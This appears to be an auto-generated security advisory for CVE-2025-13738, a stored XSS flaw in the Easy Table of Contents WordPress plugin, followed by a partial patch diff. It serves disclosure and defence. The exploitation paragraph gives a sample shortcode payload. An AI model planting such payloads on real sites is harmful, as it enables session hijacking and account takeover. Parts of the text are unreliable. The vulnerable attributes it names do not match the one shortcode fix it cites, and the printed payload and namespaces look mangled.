Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-13738: Easy Table of Contents <= 2.0.78 – Authenticated (Contributor+) Stored Cross-Site Scripting (easy-table-of-contents)

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 2.0.78
Patched Version 2.0.79
Disclosed February 17, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-13738:
The Easy Table of Contents WordPress plugin contains an authenticated stored cross-site scripting (XSS) vulnerability affecting versions up to and including 2.0.78. The vulnerability exists in the plugin’s `ez-toc` shortcode handler due to insufficient sanitization of user-supplied shortcode attributes. Attackers with contributor-level permissions or higher can inject malicious scripts into posts and pages, which execute when visitors view the compromised content.

Atomic Edge research identifies the root cause in the `shortcode()` method within `easy-table-of-contents/easy-table-of-contents.php`. The function processes shortcode attributes from user input without proper sanitization before passing them to the table of contents generation logic. Specifically, the `$atts` parameter array containing user-controlled values like `label`, `title`, and `heading_text` is not validated or escaped. The vulnerable code path begins at line 1526 where `global $ez_toc_shortcode_attr` is set to the raw `$atts` array, then continues through the shortcode processing logic where these unsanitized attributes influence the generated HTML output.

The exploitation method involves an authenticated attacker with contributor privileges creating or editing a post containing the `[ez-toc]` shortcode with malicious attributes. For example, an attacker could embed `[ez-toc label=”alert(document.domain)”]` or use other shortcode attributes that accept HTML or JavaScript payloads. When the post is saved and subsequently viewed by any user, the malicious script executes in the victim’s browser context. The attack vector requires the attacker to have content creation permissions but does not require direct access to plugin settings or administrative functions.

The patch in version 2.0.79 introduces proper sanitization for shortcode attributes. Key changes include adding `absint()` sanitization for the `columns` attribute at line 1621, converting `$atts[“columns”]` to `absint($atts[“columns”])`. The patch also includes broader codebase improvements such as namespace changes from `Easy_PluginsTable_Of_Contents` to `EztocTable_Of_Contents`, updated hook naming conventions, and enhanced input validation in other areas like `$_SERVER[‘REQUEST_URI’]` handling with `sanitize_text_field(wp_unslash())` wrappers. These changes prevent XSS payloads from being stored and rendered in the generated table of contents output.

Successful exploitation allows attackers to execute arbitrary JavaScript in the context of authenticated users viewing compromised content. This can lead to session hijacking, administrative account takeover, content defacement, or redirection to malicious sites. Since the vulnerability is stored XSS, a single injection affects all users who view the compromised page, potentially enabling widespread account compromise across the WordPress site.

Differential between vulnerable and patched code

Code Diff
--- a/easy-table-of-contents/easy-table-of-contents.php
+++ b/easy-table-of-contents/easy-table-of-contents.php
@@ -3,7 +3,7 @@
  * Plugin Name: Easy Table of Contents
  * Plugin URI: https://tocwp.com/
  * Description: Adds a user friendly and fully automatic way to create and display a table of contents generated from the page content.
- * Version: 2.0.78
+ * Version: 2.0.79
  * Author: Magazine3
  * Author URI: https://tocwp.com/
  * Text Domain: easy-table-of-contents
@@ -28,13 +28,13 @@
  * @package  Easy Table of Contents
  * @category Plugin
  * @author   Magazine3
- * @version  2.0.78
+ * @version  2.0.79
  */

-use Easy_PluginsTable_Of_ContentsDebug;
-use function Easy_PluginsTable_Of_ContentsCordinsertElementByPTag;
-use function Easy_PluginsTable_Of_ContentsCordinsertElementByImgTag;
-use function Easy_PluginsTable_Of_ContentsCordmb_find_replace;
+use EztocTable_Of_ContentsDebug;
+use function EztocTable_Of_ContentsCordinsertElementByPTag;
+use function EztocTable_Of_ContentsCordinsertElementByImgTag;
+use function EztocTable_Of_ContentsCordmb_find_replace;

 // Exit if accessed directly
 if ( ! defined( 'ABSPATH' ) ) exit;
@@ -52,7 +52,7 @@
 		 * @since 1.0
 		 * @var string
 		 */
-		const VERSION = '2.0.78';
+		const VERSION = '2.0.79';

 		/**
 		 * Stores the instance of this class.
@@ -178,8 +178,12 @@
 				}
 				add_filter( 'term_description',  array( __CLASS__, 'toc_term_content_filter' ), 99,2);
 				add_filter( 'woocommerce_taxonomy_archive_description_raw',  array( __CLASS__, 'toc_category_content_filter_woocommerce' ), 99,2);
-				add_shortcode( 'ez-toc', array( __CLASS__, 'shortcode' ) );
-				add_shortcode( apply_filters( 'ez_toc_shortcode', 'toc' ), array( __CLASS__, 'shortcode' ) );
+				add_shortcode( 'ez-toc', array( __CLASS__, 'shortcode' ) );
+				//This is legacy hook,it will be removed in future versions.
+				$eztoc_shortcode =  apply_filters( 'ez_toc_shortcode', 'toc' ); //phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Legacy hook name.
+				//This is the new hook , it should be used instead of the legacy one.
+				$eztoc_shortcode =  apply_filters( 'eztoc_shortcode', 'toc' );
+				add_shortcode( $eztoc_shortcode, array( __CLASS__, 'shortcode' ) );
 				add_shortcode( 'ez-toc-widget-sticky', array( __CLASS__, 'ez_toc_widget_sticky_shortcode' ) );
 				add_action( 'wp_footer', array(__CLASS__, 'sticky_toggle_content' ) );
 				add_filter( 'wpseo_schema_graph', array( __CLASS__, 'ez_toc_schema_sitenav_yoast_compat'), 10, 1 );
@@ -238,8 +242,12 @@
 				}

 			}
-
-			return apply_filters( 'ez_toc_sidebar_has_toc_filter', $status );
+			//This is legacy hook,it will be removed in future versions.
+			$eztoc_sidebar_has_toc_filter =  apply_filters( 'ez_toc_sidebar_has_toc_filter', $status ); //phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Legacy hook name.
+			//This is the new hook , it should be used instead of the legacy one.
+			$eztoc_sidebar_has_toc_filter =  apply_filters( 'eztoc_sidebar_has_toc_filter', $status );
+
+			return $eztoc_sidebar_has_toc_filter;
 		}

         /**
@@ -294,10 +302,13 @@
 			$domain = 'easy-table-of-contents';

 			// Set filter for plugin's languages directory
-			$languagesDirectory = apply_filters( "ez_{$domain}_languages_directory", EZ_TOC_DIR_NAME . '/languages/' );
+			//This is legacy hook,it will be removed in future versions.
+			$languagesDirectory = apply_filters( "ez_{$domain}_languages_directory", EZ_TOC_DIR_NAME . '/languages/' ); //phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Legacy hook name.
+			//This is the new hook , it should be used instead of the legacy one.
+			$languagesDirectory = apply_filters( "eztoc_{$domain}_languages_directory", EZ_TOC_DIR_NAME . '/languages/' );

 			// Traditional WordPress plugin locale filter
-			$locale   = apply_filters( 'plugin_locale', get_locale(), $domain );
+			$locale   = apply_filters( 'plugin_locale', get_locale(), $domain ); //phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Using WP Core hook
 			$fileName = sprintf( '%1$s-%2$s.mo', $domain, $locale );

 			// Setup paths to current locale file
@@ -317,6 +328,7 @@
 			} else {

 				// Load the default language files
+				// phpcs:ignore PluginCheck.CodeAnalysis.DiscouragedFunctions.load_plugin_textdomainFound -- Using for compatibility.
 				load_plugin_textdomain( $domain, false, $languagesDirectory );
 			}
 		}
@@ -500,7 +512,7 @@
 				// If SCRIPT_DEBUG is set and TRUE load the non-minified JS files, otherwise, load the minified files.
 				$min = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? '' : '.min';

-				if ( in_array( 'js_composer_salient/js_composer.php', apply_filters( 'active_plugins', get_option( 'active_plugins' ) ) ) ) {
+				if ( eztoc_is_plugin_active( 'js_composer_salient/js_composer.php') ) {
 					$postMetaContent = get_post_meta( $eztoc_post_id, '_nectar_portfolio_extra_content',true );
 					if( !empty( $postMetaContent ) ){
 						update_option( 'ez-toc-post-meta-content', array( $eztoc_post_id => do_shortcode( $postMetaContent ) ) );
@@ -520,14 +532,18 @@
 				wp_register_script( 'ez-toc-js-cookie', EZ_TOC_URL . "vendor/js-cookie/js.cookie{$min}.js", array(), '2.2.1', $in_footer );
 				wp_register_script( 'ez-toc-jquery-sticky-kit', EZ_TOC_URL . "vendor/sticky-kit/jquery.sticky-kit{$min}.js", array( 'jquery' ), '1.9.2', $in_footer );
 				wp_register_script( 'ez-toc-js', EZ_TOC_URL . "assets/js/front{$min}.js", array( 'jquery', 'ez-toc-js-cookie', 'ez-toc-jquery-sticky-kit' ), ezTOC::VERSION . '-' . filemtime( EZ_TOC_PATH . "/assets/js/front{$min}.js" ), $in_footer );
-				wp_register_script( 'ez-toc-scroll-scriptjs', apply_filters('ez_toc_smscroll_jsfile_filter',EZ_TOC_URL . "assets/js/smooth_scroll{$min}.js"), array( 'jquery' ), ezTOC::VERSION, $in_footer );
+				//This is legacy hook,it will be removed in future versions.
+				$eztoc_smscroll_jsfile_filter =  apply_filters('ez_toc_smscroll_jsfile_filter',EZ_TOC_URL . "assets/js/smooth_scroll{$min}.js"); //phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Legacy hook name.
+				//This is the new hook , it should be used instead of the legacy one.
+				$eztoc_smscroll_jsfile_filter =  apply_filters('eztoc_smscroll_jsfile_filter',EZ_TOC_URL . "assets/js/smooth_scroll{$min}.js");
+				wp_register_script( 'ez-toc-scroll-scriptjs', $eztoc_smscroll_jsfile_filter, array( 'jquery' ), ezTOC::VERSION, $in_footer );
 				self::localize_scripts();

 				if ( self::is_enqueue_scripts_eligible() ) {
 					self::enqueue_registered_script();
 					self::enqueue_registered_style();
 					self::inline_main_counting_css();
-					if ( in_array( 'js_composer/js_composer.php', apply_filters( 'active_plugins', get_option( 'active_plugins' ) ) ) ) {
+					if ( eztoc_is_plugin_active( 'js_composer/js_composer.php') ) {
 						self::inline_wp_bakery_js();
 					}
 				}
@@ -538,6 +554,7 @@
 					self::inline_main_counting_sticky_css();
 				}

+				$eztoc_current_theme = wp_get_theme();

 				/**
 				 * Foodie Pro Theme Compatibility
@@ -545,7 +562,7 @@
 				 * in right way
 				 * @since 2.0.39
 				 */
-				if ( 'Foodie Pro' == apply_filters( 'current_theme', get_option( 'current_theme' ) ) ) {
+				if ( 'Foodie Pro' == $eztoc_current_theme->get( 'Name' ) ) {

 					wp_register_style( 'ez-toc-foodie-pro', EZ_TOC_URL . "assets/css/foodie-pro{$min}.css",array(), ezTOC::VERSION );
 					wp_enqueue_style( 'ez-toc-foodie-pro' );
@@ -558,7 +575,7 @@
 				 * on links of our Easy TOC container
 				 * @since 2.0.38
 				 */
-				if ( 'Thrive Theme Builder' == apply_filters( 'current_theme', get_option( 'current_theme' ) ) ) {
+				if ( 'Thrive Theme Builder' == $eztoc_current_theme->get( 'Name' ) ) {

 					wp_register_style( 'ez-toc-thrive-theme-builder', EZ_TOC_URL . "assets/css/thrive-theme-builder{$min}.css",array(), ezTOC::VERSION );
 					wp_enqueue_style( 'ez-toc-thrive-theme-builder' );
@@ -578,10 +595,10 @@
          *
          */
 		public static function localize_scripts(){
-				global $ez_toc_shortcode_attr;
+				global $eztoc_shortcode_attr;
 			    $eztoc_post_id = get_the_ID();
 				$js_vars = array();
-
+				$eztoc_current_theme = wp_get_theme();
 				if ( ezTOC_Option::get( 'smooth_scroll' ) ) {
 					$js_vars['smooth_scroll'] = true;
 				}else{
@@ -618,7 +635,10 @@
 				if (ezTOC_Option::get( 'toc_loading' ) != 'css') {
 					$icon = ezTOC::get_toc_toggle_icon();
 					if( function_exists( 'ez_toc_pro_activation_link' ) ) {
-							$icon = apply_filters('ez_toc_modify_icon',$icon);
+						//This is legacy hook,it will be removed in future versions.
+						$icon = apply_filters('ez_toc_modify_icon',$icon); //phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Legacy hook name.
+						//This is the new hook , it should be used instead of the legacy one.
+						$icon = apply_filters('eztoc_modify_icon',$icon);
 					}
 					$js_vars['fallbackIcon'] = $icon;
 				}
@@ -631,7 +651,7 @@
 					$js_vars['ajax_toggle'] = true;
 				}

-				if(isset($ez_toc_shortcode_attr['initial_view']) && $ez_toc_shortcode_attr['initial_view'] == 'show'){
+				if(isset($eztoc_shortcode_attr['initial_view']) && $eztoc_shortcode_attr['initial_view'] == 'show'){
 					$js_vars['visibility_hide_by_default'] = false;
 				}

@@ -649,7 +669,7 @@
 				 * If Chamomile theme is active then remove hamburger div from content
 				 * @since 2.0.53
 				 * */
-				if ( 'Chamomile' == apply_filters( 'current_theme', get_option( 'current_theme' ) ) ) {
+				if ( 'Chamomile' == $eztoc_current_theme->get( 'Name' ) ) {
 					$js_vars['chamomile_theme_is_on'] = true;
 				}else{
 					$js_vars['chamomile_theme_is_on'] = false;
@@ -819,8 +839,8 @@
 		public static function inline_css() {

 			$css = '';
-
-			if('Chamomile' == apply_filters( 'current_theme', get_option( 'current_theme' ) )){
+			$eztoc_current_theme = wp_get_theme();
+			if('Chamomile' == $eztoc_current_theme->get( 'Name' )){
 				$css .= '@media screen and (max-width: 1000px) {
 				          #ez-toc-container nav{
 				            display: block;
@@ -889,8 +909,11 @@
 				}

 			}
-
-			return apply_filters('ez_toc_pro_inline_css',$css);
+			//This is legacy hook,it will be removed in future versions.
+			$eztoc_pro_inline_css =  apply_filters('ez_toc_pro_inline_css',$css); //phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Legacy hook name.
+			//This is the new hook , it should be used instead of the legacy one.
+			$eztoc_pro_inline_css =  apply_filters('eztoc_pro_inline_css',$css);
+			return $eztoc_pro_inline_css;

 		}

@@ -961,9 +984,9 @@
 					$marginCSS = 'margin-left: .2em;';
 					$floatPosition = 'float: right;';
 				}
-
+				$eztoc_current_theme = wp_get_theme();
 				$importantItem = '';
-				if ( 'Edition Child' == apply_filters( 'current_theme', get_option( 'current_theme' ) ) ) {
+				if ( 'Edition Child' == $eztoc_current_theme->get( 'Name' ) ) {
 					$importantItem = ' !important';
 				}

@@ -1186,8 +1209,11 @@
 			$stickyAddlCss="";
 			$stickyHeadTxtWeight =600;
 			$stickyHeadTxtSize =18;
-
-			$stickyAddlCss = apply_filters('ez_toc_sticky_pro_css', $stickyAddlCss );
+
+			//This is legacy hook,it will be removed in future versions.
+			$stickyAddlCss = apply_filters('ez_toc_sticky_pro_css', $stickyAddlCss ); //phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Legacy hook name.
+			//This is the new hook , it should be used instead of the legacy one.
+			$stickyAddlCss = apply_filters('eztoc_sticky_pro_css', $stickyAddlCss );

             $inline_sticky_css = ".ez-toc-sticky-fixed{position: fixed;top: 0;left: 0;z-index: 999999;width: auto;max-width: 100%;} .ez-toc-sticky-fixed .ez-toc-sidebar {position: relative;top: auto;{$custom_width};box-shadow: 1px 1px 10px 3px rgb(0 0 0 / 20%);box-sizing: border-box;padding: 20px 30px;background: {$stickyBgColor};margin-left: 0 !important; {$custom_height} overflow-y: auto;overflow-x: hidden;} .ez-toc-sticky-fixed .ez-toc-sidebar #ez-toc-sticky-container { padding: 0px;border: none;margin-bottom: 0;margin-top: {$topMarginStickyContainer};} #ez-toc-sticky-container a { color: #000;} .ez-toc-sticky-fixed .ez-toc-sidebar .ez-toc-sticky-title-container {border-bottom-color: #EEEEEE;background-color: {$stickyHeadBgColor};padding:15px;border-bottom: 1px solid #e5e5e5;width: 100%;position: absolute;height: auto;top: 0;left: 0;z-index: 99999999;} .ez-toc-sticky-fixed .ez-toc-sidebar .ez-toc-sticky-title-container .ez-toc-sticky-title {font-weight: {$stickyHeadTxtWeight};font-size: {$stickyHeadTxtSize}px;color: {$stickyHeadTxtColor};} .ez-toc-sticky-fixed .ez-toc-close-icon {-webkit-appearance: none;padding: 0;cursor: pointer;background: 0 0;border: 0;float: right;font-size: 30px;font-weight: 600;line-height: 1;position: relative;color: {$stickyHeadTxtColor};top: -2px;text-decoration: none;} .ez-toc-open-icon {position: fixed;left: 0px;top:{$stickyToggleAlignTop};text-decoration: none;font-weight: bold;padding: 5px 10px 15px 10px;box-shadow: 1px -5px 10px 5px rgb(0 0 0 / 10%);background-color: {$stickyHeadBgColor};color:{$stickyHeadTxtColor};display: inline-grid;line-height: 1.4;border-radius: 0px 10px 10px 0px;z-index: 999999;} .ez-toc-sticky-fixed.hide {-webkit-transition: opacity 0.3s linear, left 0.3s cubic-bezier(0.4, 0, 1, 1);-ms-transition: opacity 0.3s linear, left 0.3s cubic-bezier(0.4, 0, 1, 1);-o-transition: opacity 0.3s linear, left 0.3s cubic-bezier(0.4, 0, 1, 1);transition: opacity 0.3s linear, left 0.3s cubic-bezier(0.4, 0, 1, 1);left: -100%;} .ez-toc-sticky-fixed.show {-webkit-transition: left 0.3s linear, left 0.3s easy-out;-moz-transition: left 0.3s linear;-o-transition: left 0.3s linear;transition: left 0.3s linear;left: 0;} .ez-toc-open-icon span.arrow { font-size: 18px; } .ez-toc-open-icon span.text {font-size: 13px;writing-mode: vertical-rl;text-orientation: mixed;} @media screen  and (max-device-width: 640px) {.ez-toc-sticky-fixed .ez-toc-sidebar {min-width: auto;} .ez-toc-sticky-fixed .ez-toc-sidebar.show { padding-top: 35px; } .ez-toc-sticky-fixed .ez-toc-sidebar #ez-toc-sticky-container { min-width: 100%; } }{$stickyAddlCss}";

@@ -1200,7 +1226,7 @@

 		public static function is_enqueue_scripts_sticky_eligible() {

-			return ez_toc_stikcy_enable_support_status();
+			return eztoc_stikcy_enable_support_status();

 		}
 		public static function is_enqueue_scripts_eligible() {
@@ -1208,7 +1234,7 @@
 			$isEligible = self::is_eligible( get_post() );

 			if($isEligible){
-				if(!ez_toc_auto_device_target_status()){
+				if(!eztoc_auto_device_target_status()){
 					$isEligible = false;
 				}
 			}
@@ -1246,7 +1272,7 @@
 			 * Easy TOC Run On Amp Pages Check
 			 * @since 2.0.46
 			 */
-			if ( ( ezTOC_Option::get( 'toc-run-on-amp-pages', 1 ) !== false && 0 == ezTOC_Option::get( 'toc-run-on-amp-pages', 1 ) || '0' == ezTOC_Option::get( 'toc-run-on-amp-pages', 1 ) || false == ezTOC_Option::get( 'toc-run-on-amp-pages', 1 ) ) && !ez_toc_non_amp() ) {
+			if ( ( ezTOC_Option::get( 'toc-run-on-amp-pages', 1 ) !== false && 0 == ezTOC_Option::get( 'toc-run-on-amp-pages', 1 ) || '0' == ezTOC_Option::get( 'toc-run-on-amp-pages', 1 ) || false == ezTOC_Option::get( 'toc-run-on-amp-pages', 1 ) ) && !eztoc_non_amp() ) {
 				Debug::log( 'non_amp', 'Is frontpage, TOC is not enabled.', false );
 				return false;
 			}
@@ -1261,15 +1287,18 @@
 				$urls_arr = explode(PHP_EOL, $all_urls);
 				if(is_array($urls_arr)){
 					foreach ($urls_arr as $url_arr) {
-						if ( isset($_SERVER['REQUEST_URI']) && false !== strpos( $_SERVER['REQUEST_URI'], trim($url_arr) ) ) {
+						if ( isset($_SERVER['REQUEST_URI']) && false !== strpos( sanitize_text_field( wp_unslash( $_SERVER['REQUEST_URI'] ) ), trim($url_arr) ) ) {
 							Debug::log( 'is_restricted_path', 'In restricted path, post not eligible.', ezTOC_Option::get( 'restrict_path' ) );
 							return false;
 						}
 					}
 				}
 			}
-
-			if ( has_shortcode( $post->post_content, apply_filters( 'ez_toc_shortcode', 'toc' ) ) || has_shortcode( $post->post_content, 'ez-toc' ) ) {
+			//This is legacy hook,it will be removed in future versions.
+			$eztoc_shortcode = apply_filters( 'ez_toc_shortcode', 'toc' ); //phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Legacy hook name.
+			//This is the new hook , it should be used instead of the legacy one.
+			$eztoc_shortcode = apply_filters( 'eztoc_shortcode', 'toc' );
+			if ( has_shortcode( $post->post_content, $eztoc_shortcode ) || has_shortcode( $post->post_content, 'ez-toc' ) ) {
 				Debug::log( 'has_ez_toc_shortcode', 'Has instance of shortcode.', true );
 				return true;
 			}
@@ -1301,7 +1330,7 @@
 					/**
 					 * @link https://wordpress.org/support/topic/restrict-path-logic-does-not-work-correctly?
 					 */
-					if ( isset($_SERVER['REQUEST_URI']) && false !== strpos( ezTOC_Option::get( 'restrict_path' ), $_SERVER['REQUEST_URI'] ) ) {
+					if ( isset($_SERVER['REQUEST_URI']) && false !== strpos( ezTOC_Option::get( 'restrict_path' ), sanitize_text_field(wp_unslash( $_SERVER['REQUEST_URI'] ) ) ) ) {

 						Debug::log( 'is_restricted_path', 'In restricted path, post not eligible.', ezTOC_Option::get( 'restrict_path' ) );
 						return false;
@@ -1359,7 +1388,7 @@

 			$post = null;

-			if ( isset( self::$store[ $id ] ) && self::$store[ $id ] instanceof ezTOC_Post && !in_array( 'js_composer_salient/js_composer.php', apply_filters( 'active_plugins', get_option( 'active_plugins' ) ) ) ) {
+			if ( isset( self::$store[ $id ] ) && self::$store[ $id ] instanceof ezTOC_Post && !eztoc_is_plugin_active( 'js_composer_salient/js_composer.php' ) ) {

 				$post = self::$store[ $id ];
 			} else {
@@ -1497,14 +1526,14 @@
 		 * @return string
 		 */
 		public static function shortcode( $atts, $content, $tag ) {
-				global $ez_toc_shortcode_attr;
-				$ez_toc_shortcode_attr = $atts;
+				global $eztoc_shortcode_attr;
+				$eztoc_shortcode_attr = $atts;
 				$html = '';

-				if(!ez_toc_shortcode_enable_support_status($atts)){
+				if(!eztoc_shortcode_enable_support_status($atts)){
 					return $html;
 				}
-				if( ( ezTOC_Option::get( 'toc-run-on-amp-pages', 1 ) !== false && 0 == ezTOC_Option::get( 'toc-run-on-amp-pages', 1 ) || '0' == ezTOC_Option::get( 'toc-run-on-amp-pages', 1 ) || false == ezTOC_Option::get( 'toc-run-on-amp-pages', 1 ) ) && !ez_toc_non_amp() ){
+				if( ( ezTOC_Option::get( 'toc-run-on-amp-pages', 1 ) !== false && 0 == ezTOC_Option::get( 'toc-run-on-amp-pages', 1 ) || '0' == ezTOC_Option::get( 'toc-run-on-amp-pages', 1 ) || false == ezTOC_Option::get( 'toc-run-on-amp-pages', 1 ) ) && !eztoc_non_amp() ){
 					return $html;
 				}
 				//Enqueue css and styles if that has not been added by wp_enqueue_scripts
@@ -1589,7 +1618,7 @@
 					$options['wrapping'] = $atts["wrapping"];
 				}
 				if(isset($atts["columns"]) && $atts["columns"] != ''){
-					$options['columns'] = $atts["columns"];
+					$options['columns'] = absint( $atts["columns"] );
 				}
 				if(isset($atts["word_count_limit"]) && $atts["word_count_limit"] != ''){
 					$options['word_count_limit'] = $atts["word_count_limit"];
@@ -1662,8 +1691,12 @@
 			 * @since 2.0
 			 *
 			 * @param bool $apply
-			 */
-			return apply_filters( 'ez_toc_maybe_apply_the_content_filter', $apply );
+			 */
+			//This is legacy hook,it will be removed in future versions.
+			$eztoc_maybe_apply_the_content_filter = apply_filters( 'ez_toc_maybe_apply_the_content_filter', $apply ); //phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Legacy hook name.
+			//This is the new hook , it should be used instead of the legacy one.
+			$eztoc_maybe_apply_the_content_filter = apply_filters( 'eztoc_maybe_apply_the_content_filter', $apply );
+			return $eztoc_maybe_apply_the_content_filter;
 		}

 		/**
@@ -1697,9 +1730,9 @@
 			}
 			// Fix for getting current page id when sub-queries are used on the page
 			$ez_toc_current_post_id = function_exists('get_queried_object_id')?get_queried_object_id():get_the_ID();
-
+			$eztoc_current_theme = wp_get_theme();
 			// Bail if post not eligible and widget is not active.
-			if(apply_filters( 'current_theme', get_option( 'current_theme' ) ) == 'MicrojobEngine Child' || class_exists( 'Timber' ) ){
+			if('MicrojobEngine Child' == $eztoc_current_theme->get( 'Name' ) || class_exists( 'Timber' ) ){
 				$isEligible = self::is_eligible( get_post($ez_toc_current_post_id) );
 			}else{
 				$isEligible = self::is_eligible( get_post() );
@@ -1721,7 +1754,7 @@
 			$isEligible = apply_filters('eztoc_do_shortcode',$isEligible);

 			if($isEligible){
-				if(!ez_toc_auto_device_target_status()){
+				if(!eztoc_auto_device_target_status()){
 					$isEligible = false;
 				}
 			}
@@ -1738,8 +1771,8 @@
 			if ( ! $isEligible ) {
 				return Debug::log()->appendTo( $content );
 			}
-
-			if(apply_filters( 'current_theme', get_option( 'current_theme' ) ) == 'MicrojobEngine Child'  || class_exists( 'Timber' ) ){
+			$eztoc_current_theme = wp_get_theme();
+			if($eztoc_current_theme->get('Name') == 'MicrojobEngine Child'  || class_exists( 'Timber' ) ){
 				$post = self::get( $ez_toc_current_post_id );
 			}else{
 				$post = self::get( get_the_ID());
@@ -1825,13 +1858,13 @@
 					if($exc_blkqt == true){
 						preg_match_all("/<blockquote(.*?)>(.*?)</blockquote>/s", $content, $blockquotes);
 						if(!empty($blockquotes)){
-					    	$content = ez_toc_para_blockquote_replace($blockquotes, $content, 1);
+					    	$content = eztoc_para_blockquote_replace($blockquotes, $content, 1);
 					   	}
 					}
 					$content = insertElementByPTag( mb_find_replace( $find, $replace, $content ), $toc );
 					//add blockqoute back
 					if($exc_blkqt == true && !empty($blockquotes)){
-					    $content = ez_toc_para_blockquote_replace($blockquotes, $content, 2);
+					    $content = eztoc_para_blockquote_replace($blockquotes, $content, 2);
 				    }
 					break;
 				case 'aftercustompara':
@@ -1844,7 +1877,7 @@
 					if($exc_blkqt == true){
 						preg_match_all("/<blockquote(.*?)>(.*?)</blockquote>/s", $content, $blockquotes);
 						if(!empty($blockquotes)){
-					    	$content = ez_toc_para_blockquote_replace($blockquotes, $content, 1);
+					    	$content = eztoc_para_blockquote_replace($blockquotes, $content, 1);
 					   	}
 					}
 					$paragraph_index  = get_post_meta( get_the_ID(), '_ez-toc-s_custom_para_number', true );
@@ -1877,7 +1910,7 @@
 					}
 					//add blockqoute back
 					if($exc_blkqt == true && !empty($blockquotes)){
-					    $content = ez_toc_para_blockquote_replace($blockquotes, $content, 2);
+					    $content = eztoc_para_blockquote_replace($blockquotes, $content, 2);
 				    }
 					break;
 				case 'aftercustomimg':
@@ -2151,7 +2184,7 @@
 		$isEligible = apply_filters('eztoc_do_shortcode',$isEligible);

 		if($isEligible){
-			if(!ez_toc_auto_device_target_status()){
+			if(!eztoc_auto_device_target_status()){
 				$isEligible = false;
 			}
 		}
@@ -2229,8 +2262,8 @@
 		 * @return mixed
 		 */
 		public static function toc_get_the_archive_description( $description ) {
-			$current_theme = wp_get_theme();
-			if (  ( $current_theme->get( 'Name' ) === 'Kadence' || $current_theme->get( 'Template' ) === 'kadence' ) && function_exists('is_product_category') && is_product_category() ) {
+			$eztoc_current_theme = wp_get_theme();
+			if (  ( $eztoc_current_theme->get( 'Name' ) === 'Kadence' || $eztoc_current_theme->get( 'Template' ) === 'kadence' ) && function_exists('is_product_category') && is_product_category() ) {
 				if( true == ezTOC_Option::get( 'include_product_category', false) ) {
 					if(!is_admin() && !empty($description)){
 						return self::the_content($description);
@@ -2264,10 +2297,9 @@
 	add_action( 'plugins_loaded', 'ezTOC' );
 }

-register_activation_hook(__FILE__, 'ez_toc_activate');
-function ez_toc_activate($network_wide) {
+register_activation_hook(__FILE__, 'eztoc_activate');
+function eztoc_activate($network_wide) {
 	if ( !( is_multisite() && $network_wide ) ) {
     	add_option('ez_toc_do_activation_redirect', true);
 	}
-}
-
+}
 No newline at end of file
--- a/easy-table-of-contents/includes/class-debug.php
+++ b/easy-table-of-contents/includes/class-debug.php
@@ -1,6 +1,6 @@
 <?php

-namespace Easy_PluginsTable_Of_Contents;
+namespace EztocTable_Of_Contents;

 use WP_Error;

@@ -10,7 +10,7 @@
 /**
  * Class Debug
  *
- * @package Easy_PluginsTable_Of_Contents
+ * @package EztocTable_Of_Contents
  */
 final class Debug extends WP_Error {

@@ -61,12 +61,12 @@
 			self::$instance = new self( $code, $message, $data );

 			self::$instance->display = apply_filters(
-				'Easy_Plugins/Table_Of_Contents/Debug/Display',
+				'Eztoc/Table_Of_Contents/Debug/Display',
 				defined( 'WP_DEBUG_DISPLAY' ) && WP_DEBUG_DISPLAY
 			);

 			self::$instance->enabled = apply_filters(
-				'Easy_Plugins/Table_Of_Contents/Debug/Enabled',
+				'Eztoc/Table_Of_Contents/Debug/Enabled',
 				( defined( 'WP_DEBUG' ) && WP_DEBUG ) && current_user_can( 'manage_options' )
 			);

@@ -109,7 +109,7 @@
 		 * @param mixed      $data     Error data. Might be empty.
 		 * @param WP_Error   $wp_error The WP_Error object.
 		 */
-		do_action( 'wp_error_added', $code, $message, $data, $this );
+		do_action( 'wp_error_added', $code, $message, $data, $this ); //phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- WP Core Hook
 	}

 	/**
@@ -136,7 +136,7 @@
 		foreach ( (array) $this->errors as $code => $messages ) {

 			$data = $this->get_error_data( $code );
-			$data = is_string( $data ) ? $data : '<code>' . var_export( $data, true ) . '</code>';
+			$data = is_string( $data ) ? $data : '<code>' . wp_json_encode( $data, JSON_PRETTY_PRINT ) . '</code>';
 			$data = "tt<li class="ez-toc-debug-message-data">{$data}</li>" . PHP_EOL;

 			array_push(
--- a/easy-table-of-contents/includes/class-eztoc-admin.php
+++ b/easy-table-of-contents/includes/class-eztoc-admin.php
@@ -106,7 +106,7 @@
             $data = array(
                 'ajax_url'      		       => admin_url( 'admin-ajax.php' ),
                 'eztoc_security_nonce'         => wp_create_nonce('eztoc_ajax_check_nonce'),
-				'is_amp_activated'			   => (function_exists('ez_toc_is_amp_activated') && ez_toc_is_amp_activated())?1:0
+				'is_amp_activated'			   => (function_exists('eztoc_is_amp_activated') && eztoc_is_amp_activated())?1:0
             );

             $data = apply_filters( 'eztoc_localize_filter', $data, 'eztoc_admin_data' );
@@ -160,7 +160,12 @@
 		 * @static
 		 */
 		public function registerMetaboxes() {
-			if(apply_filters('ez_toc_register_metaboxes_flag', true)){
+			//This is legacy hook,it will be removed in future versions.
+			$eztoc_register_metaboxes_flag = apply_filters('ez_toc_register_metaboxes_flag', true); //phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Legacy hook name.
+			//This is the new hook , it should be used instead of the legacy one.
+			$eztoc_register_metaboxes_flag = apply_filters('eztoc_register_metaboxes_flag', true);
+
+			if($eztoc_register_metaboxes_flag){
 			foreach ( get_post_types() as $type ) {

